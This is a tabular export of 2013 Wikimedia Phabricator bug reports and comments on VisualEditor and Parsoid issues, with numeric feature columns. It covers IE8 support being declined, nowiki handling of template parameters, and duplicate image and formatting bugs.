252845,Existing image inclusions are duplicated and truncated by VisualEditor,One more: https://www.mediawiki.org/w/index.php?title=VisualEditor%2FFAQ&diff=713663&oldid=713655,,,1371659142,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cttjkncimnkmzpg2rgta,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,2.75,1.0,One more: URL
51810,Parsoid cannot parse some wikimarkup,"See https://en.wikipedia.org/wiki/User:Kephir/acid

In the VE: https://en.wikipedia.org/wiki/File:MediaWiki_acid_markup_-_VisualEditor.png
In the normal, rendered page: https://en.wikipedia.org/wiki/File:MediaWiki_acid_markup_-_native_rendering.png

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371645900,1371660571.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-u5v4rso2epl4jpiezw4u,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,26.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.4857142857142857,"See URL

In the VE: URL
In the normal, rendered page: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
251855,Parsoid cannot parse some wikimarkup,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934053,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u5v4rso2epl4jpiezw4u,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
251846,Parsoid cannot parse some wikimarkup,"Note that the use of HTML comments mid-token was WONTFIXed: bug 49750.

*** This bug has been marked as a duplicate of bug 49753 ***",,,1371660571,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u5v4rso2epl4jpiezw4u,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2058823529411766,0.7647058823529411,"Note that the use of HTML comments mid-token was WONTFIXed: bug 49750.

*** This bug has been marked as a duplicate of bug 49753 ***"
51802,VisualEditor: IE8 support,"Tracking bug; the VisualEditor doesn't seem to work in IE8 (this may be a feature as well as a bug). I'm going to recommend that people upgrade, and mark this as an enhancement, but: it would be nice to have an official statement on if this is coming, if so, when, if not, why, etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1371633600,1371656351.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-b7f2axjx5q6kogc6seqp,task_description,declined,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,7.0,7.0,2.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,3.465909090909091,0.6590909090909091,"Tracking bug; the VisualEditor doesn't seem to work in IE8 (this may be a feature as well as a bug). I'm going to recommend that people upgrade, and mark this as an enhancement, but: it would be nice to have an official statement on if this is coming, if so, when, if not, why, etc.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
251182,VisualEditor: IE8 support,Great! Thanks.,,,1371658981,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Great! Thanks.
251178,VisualEditor: IE8 support,"(In reply to comment #4)
> Makes a lot of sense. Any specific technologies that are problematic? Just
> so I can avoid coming off as ""we're not doing it, it's hard"".

Primary technologies:
* HTML 5, most notably with ContentEditable (IE8 has basic support; IE in general has major issues with elements that aren't editable inside ones that are - e.g. templates inside pages - though we've found a way to hack around it in IE9&10 for now)
* Javascript (ECMAScript) 5 (not all of it, which is good as IE9 doesn't do that either, but more than IE8 supports)
* Selection interaction (IE's support is... Quixotic, to be polite)
* Key detection/over-riding (same as for selection)",,,1371658853,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.5,0.0,3.5,2.0,0.0,0.0,0.0,0.5,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,5.0,0.5,1.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,3.5,0.0,1.5,0.0,1.0,0.0,8.0,0.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,0.5,3.5,11.0,0.5,1.0,3.0,0.0,0.0,0.0,0.5,2.5,0.0,2.0,0.0,2.0,11.0,6.5,0.0,0.0,0.0,2.0,0.0,2.0,0.5,0.0,0.0,1.0,0.5,0.0,3.59375,0.78125,"(In reply to comment #4)
QUOTE
QUOTE

Primary technologies:
* HTML 5, most notably with ContentEditable (IE8 has basic support; IE in general has major issues with elements that aren't editable inside ones that are - e.g. templates inside pages - though we've found a way to hack around it in IE9&10 for now)
* Javascript (ECMAScript) 5 (not all of it, which is good as IE9 doesn't do that either, but more than IE8 supports)
* Selection interaction (IE's support is... Quixotic, to be polite)
* Key detection/over-riding (same as for selection)"
251175,VisualEditor: IE8 support,"Makes a lot of sense. Any specific technologies that are problematic? Just so I can avoid coming off as ""we're not doing it, it's hard"".",,,1371657906,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,3.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,3.0,6.0,0.0,12.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.393939393939394,0.9090909090909091,"Makes a lot of sense. Any specific technologies that are problematic? Just so I can avoid coming off as ""we're not doing it, it's hard""."
251169,VisualEditor: IE8 support,"This is a WONTFIX; Internet Explorer in general doesn't support many of the key technologies that VisualEditor relies upon, and this becomes more acute the further back from IE10 you get.

Supporting ""just"" IE9 and IE10 has been approximately 90% of our browser-specific workload; for IE8 support, we would need to write an entirely parallel implementation of VisualEditor just for that (and even then, most things wouldn't work).

We cannot justify spending a very significant amount of donors' funds on IE8, which is (as of May) less than 5% of all our readers, and likely even less than that for editors. See [[mw:VisualEditor/Target browser matrix]] (which needs to be updated) for detail about which browsers we actively support.",,,1371656351,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,1.0,0.5,2.0,6.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,0.5,8.5,11.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.5,1.0,0.0,5.0,0.5,0.0,0.5,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,10.0,1.5,0.5,0.5,2.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,2.5,2.5,9.5,0.5,2.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.5,11.5,6.5,0.0,1.5,0.0,3.5,0.0,2.5,1.5,0.0,1.0,2.0,0.5,2.0,3.991175491175491,0.8064435564435565,"This is a WONTFIX; Internet Explorer in general doesn't support many of the key technologies that VisualEditor relies upon, and this becomes more acute the further back from IE10 you get.

Supporting ""just"" IE9 and IE10 has been approximately 90% of our browser-specific workload; for IE8 support, we would need to write an entirely parallel implementation of VisualEditor just for that (and even then, most things wouldn't work).

We cannot justify spending a very significant amount of donors' funds on IE8, which is (as of May) less than 5% of all our readers, and likely even less than that for editors. See [[mw:VisualEditor/Target browser matrix]] (which needs to be updated) for detail about which browsers we actively support."
251164,VisualEditor: IE8 support,That's an en_INTERNET idiom. Do you want me to sic the internationalisation team on you? Cuz I will.,,,1371650531,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,14.0,0.0,5.0,0.0,0.0,18.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.772727272727273,0.9090909090909091,That's an en_INTERNET idiom. Do you want me to sic the internationalisation team on you? Cuz I will.
251158,VisualEditor: IE8 support,Kill it with fire!,,,1371650457,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-b7f2axjx5q6kogc6seqp,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Kill it with fire!
51795,VisualEditor: Insert media create link to undefined,"https://en.wikipedia.org/?diff=560548908

Step to reproduce:
1. Click on the ""Media"" button on VisualEditor toolbar
2. Choose a media to insert
3. Click ""Insert media""
4. Save page

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371612300,1371627753.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,False,PHID-TASK-2mi7knu2wbwwklhttype,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.3620689655172415,0.5689655172413793,"URL

Step to reproduce:
1. Click on the ""Media"" button on VisualEditor toolbar
2. Choose a media to insert
3. Click ""Insert media""
4. Save page

--------------------------
**Version**: unspecified
**Severity**: normal"
250757,VisualEditor: Insert media create link to undefined,"Same thing?

*** This bug has been marked as a duplicate of bug 49596 ***",,,1371627753,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-2mi7knu2wbwwklhttype,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.7142857142857143,"Same thing?

*** This bug has been marked as a duplicate of bug 49596 ***"
51768,VisualEditor: strange artefact in monobook when resizing images,"Screenshot

Check out the top left of the screen; interacting with an image, in a resize-y way, causes resize-like highlighting to appear in monobook.

Windows 7, Firefox 21.0

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11696}",Needs Triage,90.0,1371584640,1373155495.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-54g2ow3ld3vtvnaijiwz,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.656716417910448,0.6567164179104478,"Screenshot

Check out the top left of the screen; interacting with an image, in a resize-y way, causes resize-like highlighting to appear in monobook.

Windows 7, Firefox 21.0

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11696}"
249272,VisualEditor: strange artefact in monobook when resizing images,"This is a duplicate of bug 50074 (despite the naming, it was a wider issue with phantoms), which is now fixed.

*** This bug has been marked as a duplicate of bug 50074 ***",,,1373155495,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-54g2ow3ld3vtvnaijiwz,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,5.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,3.1818181818181817,0.6590909090909091,"This is a duplicate of bug 50074 (despite the naming, it was a wider issue with phantoms), which is now fixed.

*** This bug has been marked as a duplicate of bug 50074 ***"
51756,"VisualEditor: VE providing unasked-for removal of ""duplicate"" formatting","See (ferinstance) https://en.wikipedia.org/w/index.php?title=User:JohnCD/draft&diff=560430675&oldid=560430611

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371574560,1371574643.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-kybodyavmyonstmof6sr,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.6086956521739131,"See (ferinstance) URL

--------------------------
**Version**: unspecified
**Severity**: normal"
248519,"VisualEditor: VE providing unasked-for removal of ""duplicate"" formatting","

%%%*** This bug has been marked as a duplicate of bug 49755 ***%%%",,,1371574643,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kybodyavmyonstmof6sr,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 49755 ***%%%"
51739,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"If you explicitly declare positional parameters in a template, and then edit it with the Visual Editor, the Template Inspector converts it to implicitly declared positional parameters - i.e. {{some template|1= foo |2= bar }} becomes {{some template|foo|bar}}.

Now, if an explicit positional parameter contains an equals sign, then the Template Inspector puts nowiki tags around it. So {{some template|1= foo=bar |2= baz }} becomes {{some template|<nowiki>foo=bar</nowiki>|baz}}. However, ""foo=bar"" and ""<nowiki>foo=bar</nowiki>"" are not equivalent wikitext. For example, nowiki tags will break wikilinks.

There's an example of the difference in this diff:
https://www.mediawiki.org/w/index.php?title=VisualEditor:Template_test&diff=712906&oldid=712905

See the effects for the revisions before and after (look at the ""Inline template"" section).

Before: https://www.mediawiki.org/w/index.php?title=VisualEditor:Template_test&oldid=712905
After: https://www.mediawiki.org/w/index.php?title=VisualEditor:Template_test&oldid=712906

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371545100,1373561023.0,PHID-USER-rjtk3h6l2quifuajiime,False,,False,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_description,resolved,True,c1,2,False,False,True,-2,,2.0,0.0,0.0,0.0,0.5,6.5,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,7.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,4.5,0.5,1.5,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,11.0,1.0,1.5,8.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,7.5,9.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,3.9871310912834588,0.593628460306566,"If you explicitly declare positional parameters in a template, and then edit it with the Visual Editor, the Template Inspector converts it to implicitly declared positional parameters - i.e. {{some template|1= foo |2= bar }} becomes {{some template|foo|bar}}.

Now, if an explicit positional parameter contains an equals sign, then the Template Inspector puts nowiki tags around it. So {{some template|1= foo=bar |2= baz }} becomes {{some template|<nowiki>foo=bar</nowiki>|baz}}. However, ""foo=bar"" and ""<nowiki>foo=bar</nowiki>"" are not equivalent wikitext. For example, nowiki tags will break wikilinks.

There's an example of the difference in this diff:
URL

See the effects for the revisions before and after (look at the ""Inline template"" section).

Before: URL
After: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
247573,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"Change 72876 merged by jenkins-bot:
Bug 49739: Use named parameter if value contains '='

https://gerrit.wikimedia.org/r/72876",,,1373416635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8260869565217392,0.9130434782608695,"Change 72876 merged by jenkins-bot:
Bug 49739: Use named parameter if value contains '='

GERRIT_URL"
247568,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"Change 72876 had a related patch set uploaded by GWicke:
Bug 49739: Use named parameter if value contains '='

https://gerrit.wikimedia.org/r/72876",,,1373415473,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9230769230769231,"Change 72876 had a related patch set uploaded by GWicke:
Bug 49739: Use named parameter if value contains '='

GERRIT_URL"
247564,Parsoid uses nowiki tags for positional template parameters with '='s rather than just explicitly declaring them,"This feels like a Parsoid bug, but I'm not sure? The user creating the equivalent of {{foo|1=foo|2=bar=foo}} should serialise to {{foo|foo|2=bar=foo}} instead of  {{foo|foo|bar<nowiki>=</nowiki>foo}}.",,,1373403587,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w6vvfriu2l3mqu3xrisn,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,7.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.2181818181818183,0.6727272727272727,"This feels like a Parsoid bug, but I'm not sure? The user creating the equivalent of {{foo|1=foo|2=bar=foo}} should serialise to {{foo|foo|2=bar=foo}} instead of  {{foo|foo|bar<nowiki>=</nowiki>foo}}."
